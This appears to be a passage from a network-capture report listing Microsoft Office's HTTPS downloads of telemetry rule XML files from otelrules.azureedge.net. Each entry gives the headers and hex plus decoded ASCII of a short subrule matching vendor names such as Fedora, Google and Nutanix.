V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:27 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:27 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: c529dd24-301e-001f-72d8-1eaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214627Z-16b659b4499t9g2t855zkdgzd00000000c5g00000000vv75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:27 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:27 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:27 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: b2d31e5d-f01e-001f-4ec8-205dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214627Z-r197bdfb6b487xlkrahepdse5000000000rg000000005m0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:27 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:27 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6c57f1bb-d01e-0017-65d8-1eb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214627Z-16b659b4499hn29ks1ddp5hvac0000000d5g00000000byn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:28 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:28 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 9657db4b-301e-0099-40d8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214628Z-16b659b4499tswxxb16erk3cdn0000000cbg00000000dqv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:28 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:28 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d41c8481-301e-005d-7774-21e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214628Z-r197bdfb6b4kdv8k52pqueg7180000000c8g00000000rn7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:28 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: fb4e5bb9-001e-005a-3093-21c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214628Z-15b8d89586f6nn8zwfkdy3t04s00000005g000000000g1w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:28 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 68eacd2a-f01e-005d-61d9-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214628Z-r197bdfb6b46gt25cvgp1aw0w800000003wg000000008cwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:28 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 98b9ab61-901e-00a0-0ad8-1e6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214628Z-r197bdfb6b4lbgfqheuaxfm7xn00000008cg00000000e9dx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:29 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 7fcc546d-701e-001e-80a3-21f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214629Z-15b8d89586f8l5961kfst8fpb000000000sg00000000f0c1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:29 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 43a08f38-101e-008e-79d8-1ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214629Z-16b659b44995jvf4d4dghwrdp400000001h0000000003cv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:29 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 9658ea3f-301e-0099-7cd8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214629Z-16b659b4499stprh7pcpsc0x3n0000000cz0000000001s4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:29 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1edf1d90-301e-000c-38d8-1e323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214629Z-16b659b44992vd4bkk50pmnxt00000000dug000000002ev6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
